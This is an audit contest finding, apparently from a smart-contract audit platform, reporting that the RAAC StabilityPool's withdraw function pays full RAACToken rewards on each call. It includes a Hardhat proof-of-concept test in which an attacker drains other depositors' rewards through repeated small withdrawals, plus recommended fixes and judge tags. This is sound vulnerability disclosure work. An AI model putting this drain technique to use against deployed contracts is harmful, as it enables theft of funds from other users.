Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

An attacker can drain the RAACToken rewards from StabilityPool

Summary

RAACToken rewards are minted to StabilityPool and then distributed when users withdraw their deposits. Due to a lack of reward accounting mechanism, an attacker can drain the rewards in at least two ways:

  • Repeatedly call deposit and withdraw

  • Deposit and then withdraw incrementally (i.e. withdraw dust each time, triggering the reward distribution mechanism for practically the complete deposit amount)

The reward drain mechanism includes retroactive claims, i.e. reward funds that were minted before the attacker deposited tokens.

Vulnerability Details

In StabilityPool.sol:L251 the function calculateRaacRewards(address user) calculates the rewards for a user. The reward calculation is called in the function StabilityPool:L224 withdraw(uint256 deCRVUSDAmount). Rewards are sent to users whenever the calculation returns an amount greater than 0. Due to a lack of reward accounting mechanism, an attacker can deposit rTokens into the stability pool, then trigger withdraw multiple times, each time withdrawing an amount corresponding to their percent share of deposits (e.g. if attacker has 1% of the total supply deposited, each function call will transfer 1% of the rewards).

Impact

An attacker can drain all the RAACToken rewards from StabilityPool.

Tools Used and Proof of Concept

Executing this PoC will show that:

  1. Before the attack, the legit user has a claim amount X

  2. Attacker claims twice, each time halving the claimable rewards roughly

  3. After two claims, the legit user can only claim 1/4 of the original reward amount

User 2 rewards: 2243055555555555548n
(X)

User 1 rewards: 2243055555555555548n
(Attacker claims X)

User 1 rewards: 1148712311557788940n
(Attacker claims X/2)

User 2 rewards: 619504650074164310n (Legit user only has X/4 rewards left)

import { expect } from "chai";
import hre from "hardhat";
const { ethers } = hre;
describe("StabilityPool", function () {
let owner, user1, user2, user3, treasury;
let stabilityPool, lendingPool, raacMinter;
let crvusd, rToken, deToken, raacToken, raacNFT;
let raacHousePrices;
beforeEach(async function () {
[owner, user1, user2, user3, treasury] = await ethers.getSigners();
// Deploy base tokens
const CrvUSDToken = await ethers.getContractFactory("crvUSDToken");
crvusd = await CrvUSDToken.deploy(owner.address);
await crvusd.setMinter(owner.address);
const RAACToken = await ethers.getContractFactory("RAACToken");
raacToken = await RAACToken.deploy(owner.address, 100, 50);
// Deploy price oracle and set oracle
const RAACHousePrices = await ethers.getContractFactory("RAACHousePrices");
raacHousePrices = await RAACHousePrices.deploy(owner.address);
await raacHousePrices.setOracle(owner.address);
// Deploy NFT
const RAACNFT = await ethers.getContractFactory("RAACNFT");
raacNFT = await RAACNFT.deploy(crvusd.target, raacHousePrices.target, owner.address);
// Deploy pool tokens
const RToken = await ethers.getContractFactory("RToken");
rToken = await RToken.deploy("RToken", "RToken", owner.address, crvusd.target);
const DebtToken = await ethers.getContractFactory("DebtToken");
const debtToken = await DebtToken.deploy("DebtToken", "DT", owner.address);
const DEToken = await ethers.getContractFactory("DEToken");
deToken = await DEToken.deploy("DEToken", "DEToken", owner.address, rToken.target);
// Deploy pools
const initialPrimeRate = ethers.parseUnits("0.1", 27);
const LendingPool = await ethers.getContractFactory("LendingPool");
lendingPool = await LendingPool.deploy(
crvusd.target,
rToken.target,
debtToken.target,
raacNFT.target,
raacHousePrices.target,
initialPrimeRate
);
const StabilityPool = await ethers.getContractFactory("StabilityPool");
stabilityPool = await StabilityPool.deploy(owner.address);
// Deploy RAAC minter
const RAACMinter = await ethers.getContractFactory("RAACMinter");
raacMinter = await RAACMinter.deploy(
raacToken.target,
stabilityPool.target,
lendingPool.target,
owner.address
);
// Setup cross-contract references
await lendingPool.setStabilityPool(stabilityPool.target);
await rToken.setReservePool(lendingPool.target);
await debtToken.setReservePool(lendingPool.target);
await rToken.transferOwnership(lendingPool.target);
await debtToken.transferOwnership(lendingPool.target);
await deToken.setStabilityPool(stabilityPool.target);
await deToken.transferOwnership(stabilityPool.target);
// Initialize Stability Pool
await stabilityPool.initialize(
rToken.target,
deToken.target,
raacToken.target,
raacMinter.target,
crvusd.target,
lendingPool.target
);
// Setup permissions
await raacToken.setMinter(raacMinter.target);
await raacToken.manageWhitelist(stabilityPool.target, true);
// Mint initial tokens and setup approvals
const initialBalance = ethers.parseEther("1000");
// Mint crvUSD to users
await crvusd.mint(user1.address, initialBalance);
await crvusd.mint(user2.address, initialBalance);
await crvusd.mint(user3.address, initialBalance);
// Approve crvUSD for LendingPool
await crvusd.connect(user1).approve(lendingPool.target, initialBalance);
await crvusd.connect(user2).approve(lendingPool.target, initialBalance);
await crvusd.connect(user3).approve(lendingPool.target, initialBalance);
// Initial deposits to get rTokens
await lendingPool.connect(user1).deposit(initialBalance);
await lendingPool.connect(user2).deposit(initialBalance);
await lendingPool.connect(user3).deposit(initialBalance);
// Approve rTokens for StabilityPool
await rToken.connect(user1).approve(stabilityPool.target, initialBalance);
await rToken.connect(user2).approve(stabilityPool.target, initialBalance);
await rToken.connect(user3).approve(stabilityPool.target, initialBalance);
});
describe("Core Functionality", function () {
describe("RAAC Rewards", function () {
beforeEach(async function () {
const depositAmount1 = ethers.parseEther("100");
const depositAmount2 = ethers.parseEther("100");
// Setup for user1
await crvusd.mint(user1.address, depositAmount1);
await crvusd.connect(user1).approve(lendingPool.target, depositAmount1);
await lendingPool.connect(user1).deposit(depositAmount1);
await rToken.connect(user1).approve(stabilityPool.target, depositAmount1);
// Setup for user2
await crvusd.mint(user2.address, depositAmount2);
await crvusd.connect(user2).approve(lendingPool.target, depositAmount2);
await lendingPool.connect(user2).deposit(depositAmount2);
await rToken.connect(user2).approve(stabilityPool.target, depositAmount2);
});
it("should distribute rewards proportionally", async function () {
await stabilityPool.connect(user1).deposit(ethers.parseEther("100"));
await stabilityPool.connect(user2).deposit(ethers.parseEther("100"));
await ethers.provider.send("evm_mine");
await raacMinter.tick();
// Legit user rewards before the attack
const user2Rewards1 = await stabilityPool.calculateRaacRewards(user2.address);
console.log("User 2 rewards:", user2Rewards1);
// Attacker Claim 1
const user1Rewards1 = await stabilityPool.calculateRaacRewards(user1.address);
console.log("User 1 rewards:", user1Rewards1);
await stabilityPool.connect(user1).withdraw(ethers.parseEther("1"));
// Attacker Claim 2
const user1Rewards2 = await stabilityPool.calculateRaacRewards(user1.address);
console.log("User 1 rewards:", user1Rewards2);
await stabilityPool.connect(user1).withdraw(ethers.parseEther("1"));
// Legit user rewards decreased
const user2Rewards2 = await stabilityPool.calculateRaacRewards(user2.address);
console.log("User 2 rewards:", user2Rewards2);
});
});
});
});

Recommendations

Implement a reward accounting mechanism that takes these into consideration:

  • The timestamp of deposits, so users are not eligible for past rewards

  • Reward amount already withdrawn

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

StabilityPool::withdraw can be called with partial amounts, but it always send the full rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.